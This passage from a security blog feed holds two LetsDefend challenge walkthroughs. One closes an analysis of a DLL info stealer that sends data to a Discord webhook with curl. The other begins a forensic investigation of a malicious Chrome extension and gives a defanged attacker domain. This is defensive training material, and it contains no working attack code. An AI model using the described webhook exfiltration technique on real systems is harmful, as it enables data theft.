target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Many public and commercial services, such as Discord, Slack, and &lt;code&gt;webhook.site&lt;/code&gt;, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;To summarize this in the context of this info stealer, after the malware collects the data, it is exfiltrated using &lt;em&gt;curl&lt;/em&gt; to send data to the attacker&amp;rsquo;s &lt;em&gt;Discord&lt;/em&gt; server by leveraging &lt;em&gt;Discord&amp;rsquo;s&lt;/em&gt; webhook functionality_._&lt;/p&gt;&#xA;&lt;p&gt;Now that we have determined the webhook URL, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/2a3d8521eca577e321a5faca48589428_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! We have finished our analysis of the DLL Stealer malware, uncovered its functionality, anti-analysis method, targeted data, and the exfiltration method. It&amp;rsquo;s time for the postmortem report and to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for this awesome challenge! This lab was a fun opportunity to level-up my reverse engineering skills and introduce me to the &lt;em&gt;dotPeek&lt;/em&gt; tool. I appreciate that this challenge was on the shorter side but got me really interested in analyzing and interpreting the malware sample. By referencing &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; throughout this walkthrough I was able to really dive in, engage with, and understand the challenge beyond the required questions. I hope that you found it valuable and had as much fun as I did learning something new, too!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;JetBrains dotPeek:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1074.001 — Data Staged: Local Data Staging):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1074/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1005 — Data from Local System):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1005/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1048 — Exfiltration Over Alternative Protocol):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1048/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;curl:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://curl.se/docs/manpage.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://curl.se/docs/manpage.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Boolean Definition:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Boolean_data_type&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Boolean_data_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1016 — System Network Configuration Discovery):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1016/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1016/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1567/004/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Chrome Extension Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/</link>
            <pubDate>Sun, 02 Jun 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/540e14e61bf92ee08d3cc4492939e945_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Chrome Extension Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--chrome-extension-challenge-walkthrough&#34;&gt;LetsDefend — Chrome Extension Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-chrome-extension-with-db-browser-forsqlite&#34;&gt;Investigating a Malicious Chrome Extension with DB Browser for SQLite&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/540e14e61bf92ee08d3cc4492939e945_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-chrome-extension&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;Have you ever wondered how a malicious &lt;em&gt;Google Chrome&lt;/em&gt; extension could be abused, creating a privacy risk for a user? Well we&amp;rsquo;re about to investigate exactly how this can happen by working through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt; challenge over on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;This is an incident response challenge which has us defenders investigating a &lt;em&gt;Windows&lt;/em&gt; image to determine how the victim&amp;rsquo;s data was exposed. We&amp;rsquo;ll need to review artifacts on the system like the &lt;em&gt;Google Chrome&lt;/em&gt; cache to determine what happened. Sounds like another fun investigation to me!&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;Chrome&lt;/em&gt; cache analysis, check out some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Put on your detective hat and let&amp;rsquo;s have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-chrome-extension&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The victim found out their private info was out there for everyone to see, and things got worse — the bad guys got into their money stuff, social media, and personal emails. We got an image of his machine so you can tell us what happened.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-id-of-the-malicious-extension&#34;&gt;Question 1: What is the ID of the malicious extension?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s start out by getting familiar with our analysis environment and looking in our &lt;em&gt;Tools&lt;/em&gt; folder. We&amp;rsquo;ll find that there is only one tool: &lt;em&gt;DB Browser for SQLite&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we are looking for a malicious extension, we&amp;rsquo;re going to leverage &lt;em&gt;DB Browser&lt;/em&gt; to analyze the victim&amp;rsquo;s local web browser cache and focus on &lt;em&gt;Google Chrome.&lt;/em&gt; If you aren&amp;rsquo;t aware, &lt;em&gt;Chrome&lt;/em&gt; stores some website and browsing data in a cache folder on the local device it&amp;rsquo;s installed on.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll point to an excellent cheat sheet from &lt;em&gt;Foxtron Forensics&lt;/em&gt; about the locations and data that are located within the &lt;em&gt;Chrome&lt;/em&gt; cache:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  title=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Google Chrome History Location | Chrome History Viewer&lt;/strong&gt;&#xA;_Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner&amp;hellip;_www.foxtonforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that background, let&amp;rsquo;s open &lt;em&gt;DB Browser&lt;/em&gt;. We&amp;rsquo;ll want to select &lt;em&gt;Open Database&lt;/em&gt; and navigate to the victim&amp;rsquo;s &lt;em&gt;Google Chrome Cache&lt;/em&gt; folder within the challenge file.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data&lt;/p&gt;&#xA;&lt;p&gt;Once we navigate to the above file path, we need to select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;All Files&amp;quot;&#xA;to see the contents of the folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;301px&#34; data-flex-grow=&#34;125&#34; height=&#34;637&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/78088caaa5f691d59db2ac3db195603c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start with the History database which, according to the &lt;em&gt;Foxtron Forensics&lt;/em&gt; article contains:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Website Visits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Chrome Website Visits are stored in the €˜&lt;strong&gt;History&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;visits&lt;/strong&gt;&amp;rsquo; table. Associated URL information is stored within the €˜&lt;strong&gt;urls&lt;/strong&gt;&amp;rsquo; table.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now, if we browse through the URLS table, we will find references to several extensions from the &lt;em&gt;Chrome Web Store&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;526&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/911736087e32c4852d78c707d47fe73c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most of these extensions appear to be simple utilities, but the two extensions referencing &lt;em&gt;Netflix&lt;/em&gt; stick out to me, so let&amp;rsquo;s focus on the &lt;em&gt;Netflix Party&lt;/em&gt; app and the &lt;em&gt;Teleparty Premium&lt;/em&gt; extensions.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research and see if we can find any information about the possibility of malicious activity from these extensions, shall we? It doesn&amp;rsquo;t take long to stumble upon the following article from &lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Popular Science&lt;/em&gt;&lt;/a&gt; about malicious, fake &lt;em&gt;Netflix&lt;/em&gt; extensions with a link to the original research by &lt;em&gt;McAfee.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  title=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;These 5 popular Chrome extensions are compromising your computer&lt;/strong&gt;&#xA;_Time to uninstall if you&amp;rsquo;re one of their collective 1.4 million users._www.popsci.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Very interesting! According to the &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;McAfee&lt;/em&gt;&lt;/a&gt; blog, one of the malicious extension&amp;rsquo;s ID is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/533dc7b4bbf2c8e3b30a45f6d5872ebf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Source: &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think we found a match on the victim&amp;rsquo;s device!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/66084b7dd1ad816e9daa70b63b1013b4_MD5.png&#34; width=&#34;373&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/49d3443557218a262e1ff3f2c8779b21_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-malicious-extension&#34;&gt;Question 2: What is the name of the malicious extension?&#xA;&lt;/h3&gt;&lt;p&gt;This one is a bit trickier to find. Remember in &lt;strong&gt;Question 1&lt;/strong&gt; that we saw the &lt;em&gt;Chrome Web Store&lt;/em&gt; name, &lt;em&gt;Netflix Party,&lt;/em&gt; in the History database and in the &lt;em&gt;McAfee&lt;/em&gt; research? This isn&amp;rsquo;t the name of the extension that we are looking for in &lt;strong&gt;Question 2,&lt;/strong&gt; though.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s navigate to the extension&amp;rsquo;s local directory and see what else we can find.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/manifest.json&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;357px&#34; data-flex-grow=&#34;148&#34; height=&#34;537&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/aa58e3152ced3b94a41be615047c1f52_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside of the extension directory, go ahead and open the &lt;em&gt;manifest.json&lt;/em&gt; file in any plain text editor.&lt;/p&gt;&#xA;&lt;p&gt;But what is the &lt;em&gt;manifest&lt;/em&gt; file, anyway? According to &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Every extension must have a &lt;code&gt;_manifest.json_&lt;/code&gt; file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Unfortunately, the name in the &lt;em&gt;manifest.json&lt;/em&gt; is also not what we are looking for this time. Hmmm, let&amp;rsquo;s think creatively and see what else we have available.&lt;/p&gt;&#xA;&lt;p&gt;There is also a _&lt;em&gt;locales&lt;/em&gt; folder in the extension&amp;rsquo;s directory with an &amp;quot; # &amp;ldquo;en&amp;quot;directory for English.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/_locales/en/messages.json&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll get some background on what the &lt;em&gt;messages.json&lt;/em&gt; is from &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Google&lt;/em&gt;&lt;/a&gt; first:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Each internationalized extension has at least one file named &lt;code&gt;messages.json&lt;/code&gt; that provides locale-specific strings.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, this file is used for translation and localization for different languages including locale-specific strings. Maybe there is a helpful string here for us? Let&amp;rsquo;s open up the &lt;em&gt;messages.json.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;191&#34; height=&#34;417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/60e0625262e7b6ee20abbd60a03f3533_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Third time&amp;rsquo;s the charm! Let&amp;rsquo;s input extension name (&lt;em&gt;extName&lt;/em&gt;) message from this file and see if we found the correct answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/b761a4d8cc32607f61b8de09ec87a164_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-how-many-people-were-affected-by-this-extension&#34;&gt;Question 3: How many people were affected by this extension?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s refer to the &lt;em&gt;McAfee&lt;/em&gt; article that we used for &lt;strong&gt;Question 1.&lt;/strong&gt; Fortunately, for us the research has the number of affected users listed in the table.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/d37040dc0e2206e3fe6f8e1244de5b19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1401px&#34; data-flex-grow=&#34;583&#34; height=&#34;137&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/bcb1b5a45e442b7c06d5c499e8c936d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;\&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-attackers-domainname&#34;&gt;Question 4: What is the attacker&amp;rsquo;s domain name?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have reviewed the &lt;em&gt;manifest&lt;/em&gt; and &lt;em&gt;messages,&lt;/em&gt; let&amp;rsquo;s see what else is available in the malicious extension&amp;rsquo;s directory. We can see some &lt;em&gt;JavaScript&lt;/em&gt; files, let&amp;rsquo;s have a look at some of these and try to understand what they are doing and see if we can locate the attacker&amp;rsquo;s domain.&lt;/p&gt;&#xA;&lt;p&gt;Based on the &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;McAfee&lt;/em&gt;&lt;/a&gt; research we have some idea of where to look. The blog states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;B0.js&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s turn our attention to &lt;strong&gt;b0.js&lt;/strong&gt; and look more closely for ourselves.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/b0.js&lt;/p&gt;&#xA;&lt;p&gt;Since we are looking for a domain name, we&amp;rsquo;ll try something simple and just use the &lt;em&gt;find&lt;/em&gt; function to search for &lt;strong&gt;https://&lt;/strong&gt; to see if we can find it that way&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;564px&#34; data-flex-grow=&#34;235&#34; height=&#34;340&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/5d0100058df876044becc93633444c39_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve found something — a variable, &lt;strong&gt;e&lt;/strong&gt;, defined as: &lt;strong&gt;hxxps://a1l4m[.]000webhostapp[.]com&lt;/strong&gt; (&lt;em&gt;defanged for safety, of course!&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;This variable is consistent with the details in the &lt;em&gt;McAfee&lt;/em&gt; article. While our victim&amp;rsquo;s version of the extension has a different URL than the &lt;em&gt;McAfee&lt;/em&gt; 